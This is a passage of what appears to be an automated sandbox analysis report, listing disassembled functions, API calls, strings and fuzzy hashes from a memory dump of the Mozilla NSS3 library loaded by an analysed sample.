PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6C712FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6C712FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6C712FE7

Strings

C_SetPIN, xrefs: 6C712F21
ulNewLen = %d, xrefs: 6C712FE2
(CK_INVALID_HANDLE), xrefs: 6C712F5C
pOldPin = 0x%p, xrefs: 6C712F95
pNewPin = 0x%p, xrefs: 6C712FC9
ulOldLen = %d, xrefs: 6C712FB0
hSession = 0x%x, xrefs: 6C712F3E, 6C712F4E

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN
API String ID: 1003633598-3716813897
Opcode ID: bcc33f2020b10f31f3e15bbcf1bd8fbbacf1200d292adf97aba964229f76a4f5
Instruction ID: 35a0b48c252141029438aa27f44320802c47155371baae03979ae3d5c8b8a9b3
Opcode Fuzzy Hash: bcc33f2020b10f31f3e15bbcf1bd8fbbacf1200d292adf97aba964229f76a4f5
Instruction Fuzzy Hash: 5631B075609144AFDB20EF54DE8CE5A3BB5EB4731DF098434E808A7B11DB349849DB92

Function 6C7ACD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C7ACC7B), ref: 6C7ACD7A

Part of subcall function 6C7ACE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C71C1A8,?), ref: 6C7ACE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C7ACDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C7ACDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C7ACDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C7ACD8E

Part of subcall function 6C6D05C0: PR_EnterMonitor.NSS3 ref: 6C6D05D1
Part of subcall function 6C6D05C0: PR_ExitMonitor.NSS3 ref: 6C6D05EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C7ACDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C7ACDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C7ACE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C7ACE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C7ACE48

Strings

getaddrinfo, xrefs: 6C7ACD88, 6C7ACDF9
wship6.dll, xrefs: 6C7ACDE3
freeaddrinfo, xrefs: 6C7ACD9F, 6C7ACE10
getnameinfo, xrefs: 6C7ACDB2, 6C7ACE23
ws2_32.dll, xrefs: 6C7ACD75

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 46d27dc3cfcd4cde3b57366e4f0b2f95bf1747f5d9f69db681236aab9cd90524
Instruction ID: 03c47754fb8de09fcb59e4beaaef141df6006533d7399e33473e7ea9b729fc61
Opcode Fuzzy Hash: 46d27dc3cfcd4cde3b57366e4f0b2f95bf1747f5d9f69db681236aab9cd90524
Instruction Fuzzy Hash: 2511ECE5E1722162DF2176B56F01AAE39AC5B0314EF184B34EC09D6F01FB16D915C2EE

Function 6C750C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,ul), ref: 6C750C81

Part of subcall function 6C73BE30: SECOID_FindOID_Util.NSS3(6C6F311B,00000000,?,6C6F311B,?), ref: 6C73BE44

Part of subcall function 6C728500: SECOID_GetAlgorithmTag_Util.NSS3(6C7295DC,00000000,00000000,00000000,?,6C7295DC,00000000,00000000,?,6C707F4A,00000000,?,00000000,00000000), ref: 6C728517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C750CC4

Part of subcall function 6C73FAB0: free.MOZGLUE(?,-00000001,?,?,6C6DF673,00000000,00000000), ref: 6C73FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C750CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C750D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C750D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C750D7D
free.MOZGLUE(00000000), ref: 6C750DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C750DC1
free.MOZGLUE(00000000), ref: 6C750DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C750E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C750E0F

Part of subcall function 6C7295C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C707F4A,00000000,?,00000000,00000000), ref: 6C7295E0
Part of subcall function 6C7295C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C707F4A,00000000,?,00000000,00000000), ref: 6C7295F5
Part of subcall function 6C7295C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C729609
Part of subcall function 6C7295C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C72961D
Part of subcall function 6C7295C0: PK11_GetInternalSlot.NSS3 ref: 6C72970B
Part of subcall function 6C7295C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C729756
Part of subcall function 6C7295C0: PK11_GetIVLength.NSS3(?), ref: 6C729767
Part of subcall function 6C7295C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C72977E
Part of subcall function 6C7295C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C72978E

Strings

*,ul, xrefs: 6C750DCC
-$ul, xrefs: 6C750C64
*,ul, xrefs: 6C750C69, 6C750DE0, 6C750C80, 6C750C8B, 6C750CAF

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,ul$*,ul$-$ul
API String ID: 3136566230-1892452201
Opcode ID: 1273d658af974a765177008039b6569f73895e8e6e79b0da30ba8ab6d23e0f58
Instruction ID: 619a7c45d89ed7a72e0534d77bee018c58d49f65b65cfc3882d518d896eda5cb
Opcode Fuzzy Hash: 1273d658af974a765177008039b6569f73895e8e6e79b0da30ba8ab6d23e0f58
Instruction Fuzzy Hash: F141D5B1900259ABEB009F65DE4ABAF7674FF0130CF140134E91957742EB35AA28CBE2

Function 6C746CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C811DE0,?), ref: 6C746CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C746D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C746D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C746D82
DER_GetInteger_Util.NSS3(?), ref: 6C746DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C746DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C746E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C746F19
PK11_DigestBegin.NSS3(00000000), ref: 6C746F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C746F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C747011
PK11_FreeSymKey.NSS3(00000000), ref: 6C747033
free.MOZGLUE(?), ref: 6C74703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C747060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C747087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C7470AF

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 97244bb202ca358f1bbba63abc1793692d60f623b790b29ecdfb6f041ec1cce4
Instruction ID: 126c35525905be58c2691e8e0b7f8419d9ebac803286421c42093dbd50d11dac
Opcode Fuzzy Hash: 97244bb202ca358f1bbba63abc1793692d60f623b790b29ecdfb6f041ec1cce4
Instruction Fuzzy Hash: 0EA13BB19052009BEB009F24DE49B5B32E5EB8131CF24C939E959CBB91F735DA49C793

Function 6C70AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C6EAB95,00000000,?,00000000,00000000,00000000), ref: 6C70AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C6EAB95,00000000,?,00000000,00000000,00000000), ref: 6C70AF39
PR_Unlock.NSS3(?,?,?,6C6EAB95,00000000,?,00000000,00000000,00000000), ref: 6C70AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C6EAB95,00000000,?,00000000,00000000,00000000), ref: 6C70AF69
TlsGetValue.KERNEL32 ref: 6C70B06B
EnterCriticalSection.KERNEL32(?), ref: 6C70B083
PR_Unlock.NSS3(?), ref: 6C70B0A4
TlsGetValue.KERNEL32 ref: 6C70B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C70B0D9
PR_Unlock.NSS3 ref: 6C70B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C70B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C70B182

Part of subcall function 6C73FAB0: free.MOZGLUE(?,-00000001,?,?,6C6DF673,00000000,00000000), ref: 6C73FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C70B177

Part of subcall function 6C78C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C78C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C6EAB95,00000000,?,00000000,00000000,00000000), ref: 6C70B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C6EAB95,00000000,?,00000000,00000000,00000000), ref: 6C70B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C6EAB95,00000000,?,00000000,00000000,00000000), ref: 6C70B1C2

Part of subcall function 6C731560: TlsGetValue.KERNEL32(00000000,?,6C700844,?), ref: 6C73157A
Part of subcall function 6C731560: EnterCriticalSection.KERNEL32(?,?,?,6C700844,?), ref: 6C73158F
Part of subcall function 6C731560: PR_Unlock.NSS3(?,?,?,?,6C700844,?), ref: 6C7315B2

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: c408c9ac11e63df866ae8b5a542e3cdec4e686b9daf6c3cf328a7cbfcd42d9df
Instruction ID: 76c6b9a9f6885fba39f42d760078fca2ae88d13d9bb0b7423072abfcdb69f310
Opcode Fuzzy Hash: c408c9ac11e63df866ae8b5a542e3cdec4e686b9daf6c3cf328a7cbfcd42d9df
Instruction Fuzzy Hash: FAA1EFB1E00206ABEF109F64DD85AEA77B5AF0530CF104135E908A7752E731EA59CBE1

Function 6C702C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?pl,?,6C6FE477,?,?,?,00000001,00000000,?,?,6C703F23,?), ref: 6C702C62
EnterCriticalSection.KERNEL32(0000001C,?,6C6FE477,?,?,?,00000001,00000000,?,?,6C703F23,?), ref: 6C702C76
PL_HashTableLookup.NSS3(00000000,?,?,6C6FE477,?,?,?,00000001,00000000,?,?,6C703F23,?), ref: 6C702C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C6FE477,?,?,?,00000001,00000000,?,?,6C703F23,?), ref: 6C702C93

Part of subcall function 6C78DD70: TlsGetValue.KERNEL32 ref: 6C78DD8C
Part of subcall function 6C78DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C78DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C6FE477,?,?,?,00000001,00000000,?,?,6C703F23,?), ref: 6C702CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C6FE477,?,?,?,00000001,00000000,?,?,6C703F23,?), ref: 6C702CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C6FE477,?,?,?,00000001,00000000,?,?,6C703F23), ref: 6C702CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C6FE477,?,?,?,00000001,00000000,?), ref: 6C702CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C6FE477,?,?,?,00000001,00000000,?), ref: 6C702D4D
EnterCriticalSection.KERNEL32(?), ref: 6C702D61
PL_HashTableLookup.NSS3(?,?), ref: 6C702D71
PR_Unlock.NSS3(?), ref: 6C702D7E

Part of subcall function 6C6D07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C66204A), ref: 6C6D07AD
Part of subcall function 6C6D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C66204A), ref: 6C6D07CD
Part of subcall function 6C6D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C66204A), ref: 6C6D07D6
Part of subcall function 6C6D07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C66204A), ref: 6C6D07E4
Part of subcall function 6C6D07A0: TlsSetValue.KERNEL32(00000000,?,6C66204A), ref: 6C6D0864
Part of subcall function 6C6D07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6D0880
Part of subcall function 6C6D07A0: TlsSetValue.KERNEL32(00000000,?,?,6C66204A), ref: 6C6D08CB
Part of subcall function 6C6D07A0: TlsGetValue.KERNEL32(?,?,6C66204A), ref: 6C6D08D7
Part of subcall function 6C6D07A0: TlsGetValue.KERNEL32(?,?,6C66204A), ref: 6C6D08FB

Strings

#?pl, xrefs: 6C702C43

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?pl
API String ID: 2446853827-3620678116
Opcode ID: 5933e9697f4d9a9eda1d948ec7574cee68ea9397d361dfeebdea7e5d062880ca
Instruction ID: bf41dcf0a1fcbe348d67333ce09ebf7f2924c9af69f8b3fa12bc07b04d2b3b17
Opcode Fuzzy Hash: 5933e9697f4d9a9eda1d948ec7574cee68ea9397d361dfeebdea7e5d062880ca
Instruction Fuzzy Hash: 885109B6E00205ABDB109F24DC4989A77B8FF1635CB048535ED1897B12E731ED64CBE5

Function 6C75AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C75ADB1

Part of subcall function 6C73BE30: SECOID_FindOID_Util.NSS3(6C6F311B,00000000,?,6C6F311B,?), ref: 6C73BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C75ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C75AE08

Part of subcall function 6C73B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8118D0,?), ref: 6C73B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C75AE25
PL_FreeArenaPool.NSS3 ref: 6C75AE63
PR_CallOnce.NSS3(6C842AA4,6C7412D0), ref: 6C75AE4D

Part of subcall function 6C664C70: TlsGetValue.KERNEL32(?,?,?,6C663921,6C8414E4,6C7ACC70), ref: 6C664C97
Part of subcall function 6C664C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C663921,6C8414E4,6C7ACC70), ref: 6C664CB0
Part of subcall function 6C664C70: PR_Unlock.NSS3(?,?,?,?,?,6C663921,6C8414E4,6C7ACC70), ref: 6C664CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C75AE93
PR_CallOnce.NSS3(6C842AA4,6C7412D0), ref: 6C75AECC
PL_FreeArenaPool.NSS3 ref: 6C75AEDE
PL_FinishArenaPool.NSS3 ref: 6C75AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C75AEF5
PL_FinishArenaPool.NSS3 ref: 6C75AF16

Strings

security, xrefs: 6C75ADEE

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 2441f98cc64bc953197c810a02247f963707dc8bb52cf35c16f0a7a3559c9b2a
Instruction ID: e9c1f4318dc9924045a71e8fc7ebb3e094806c10aeb07a2d41e06ffeeaea797b
Opcode Fuzzy Hash: 2441f98cc64bc953197c810a02247f963707dc8bb52cf35c16f0a7a3559c9b2a
Instruction Fuzzy Hash: F6412CB1A0431467E7209B189E4A7BA32AC9F5272CF904535D914D2F81FF35DA28C6F7

Function 6C7FAF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7A9890: TlsGetValue.KERNEL32(?,?,?,6C7A97EB), ref: 6C7A989E

EnterCriticalSection.KERNEL32(?), ref: 6C7FAF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6C7FAFCE
PR_SetPollableEvent.NSS3(?), ref: 6C7FAFD9
EnterCriticalSection.KERNEL32(?), ref: 6C7FAFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C7FB00F
_PR_MD_UNLOCK.NSS3(?), ref: 6C7FB02F
_PR_MD_UNLOCK.NSS3(?), ref: 6C7FB070
PR_JoinThread.NSS3(?), ref: 6C7FB07B
free.MOZGLUE(?), ref: 6C7FB084
EnterCriticalSection.KERNEL32(?), ref: 6C7FB09B
_PR_MD_UNLOCK.NSS3(?), ref: 6C7FB0C4
PR_JoinThread.NSS3(?), ref: 6C7FB0F3
free.MOZGLUE(?), ref: 6C7FB0FC
PR_JoinThread.NSS3(?), ref: 6C7FB137
free.MOZGLUE(?), ref: 6C7FB140

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 14d1d6880d6c553831a9b8bc71b66888d832ba6ba39380a167e31d0de4f7a45f
Instruction ID: 5feedd980e96271e1d7c5976cee7671131926712aaa14f0e59b1ca1b4f6d5d7b
Opcode Fuzzy Hash: 14d1d6880d6c553831a9b8bc71b66888d832ba6ba39380a167e31d0de4f7a45f
Instruction Fuzzy Hash: 2E919EB6900601DFCB14DF15C9C4846BBF1FF4935872986A9D8295BB26E732FC56CB80

Function 6C6F8DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C6F8E22
EnterCriticalSection.KERNEL32(?), ref: 6C6F8E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C6F8E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C6F8E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C6F8E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C6F8EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C6F8EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C6F8EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C6F8F00
free.MOZGLUE(?), ref: 6C6F8F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C6F8F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C6F8F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C6F8F5B
PR_Unlock.NSS3(?), ref: 6C6F8F72
PR_Unlock.NSS3(?), ref: 6C6F8F82

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 64643880da3c43b0df59329604796418f0677507e2e0f13539a798ed1a449f97
Instruction ID: e210d7c07dfb40f1ff12cdc5b61bf33d2192bf0c9ba33ef173747767ca844093
Opcode Fuzzy Hash: 64643880da3c43b0df59329604796418f0677507e2e0f13539a798ed1a449f97
Instruction Fuzzy Hash: C4516CB2D002059FE7108F69CC889AEB7BAEF4A358B144169EC289B710E731DD07C7E4

Function 6C71CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6C71CE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C71CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6C71CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6C71CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6C71CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C71CF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6C71CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6C71CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6C71CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6C71CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6C71CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6C71CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6C71CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6C71D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6C71D021

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
